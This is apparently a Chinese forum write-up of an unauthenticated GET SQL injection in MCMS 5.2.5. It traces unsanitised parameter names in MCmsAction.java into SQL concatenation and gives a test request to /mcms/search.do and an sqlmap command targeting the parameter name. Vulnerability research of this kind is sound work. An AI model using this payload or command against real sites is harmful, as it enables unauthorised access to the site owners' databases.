MCMS SQL注入

2022-1-25 22:18:30 Author: forum.90sec.com 阅读量:6 收藏

0x01 寻找可疑点

寻找到一处可疑点,位于net/mingsoft/cms/action/web/MCmsAction.java文件

2022-01-20_11-19-27

往上寻找filed,发现是传入的参数

2022-01-20_11-21-46

由于参数名没有过滤直接拼接了字符串,那么可能会存在漏洞,我们接着往下寻找数据链

2022-01-20_11-24-17

2022-01-20_11-24-36

进入到方法内部查看做了什么,并打上断点,开始跟数据

2022-01-20_11-27-13

发现此块有数据库调用

2022-01-20_11-28-10

2022-01-20_11-29-13

0x02 尝试注入

接下来我们尝试注入,看到该文件的net/mingsoft/cms/action/web/MCmsAction.java的最上面类定义处,可以知道路由为host:port/mcms,再加上要调用的方法,可得路由为host:port/mcms/search.do,接下来尝试注入

GET /mcms/search.do?1'=0000 HTTP/1.1
User-Agent: PostmanRuntime/7.29.0
Accept: */*
Postman-Token: 315bc447-c977-4eb8-8b99-ae231e7a2b08
Host: localhost:8080
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=96B0978724C81C34A99F09541FA893D4


2022-01-20_11-40-48

接下来使用sqlmap,由于注入点在参数名,需要用*指定注入点

sqlmap -u "http://localhost:8080/mcms/search.do*=1"

因此,MCMS 5.2.5存在GET型SQL注入,无需认证,可以获取数据库信息,利用简单。

产生原因是使用了不安全的SQL语句拼接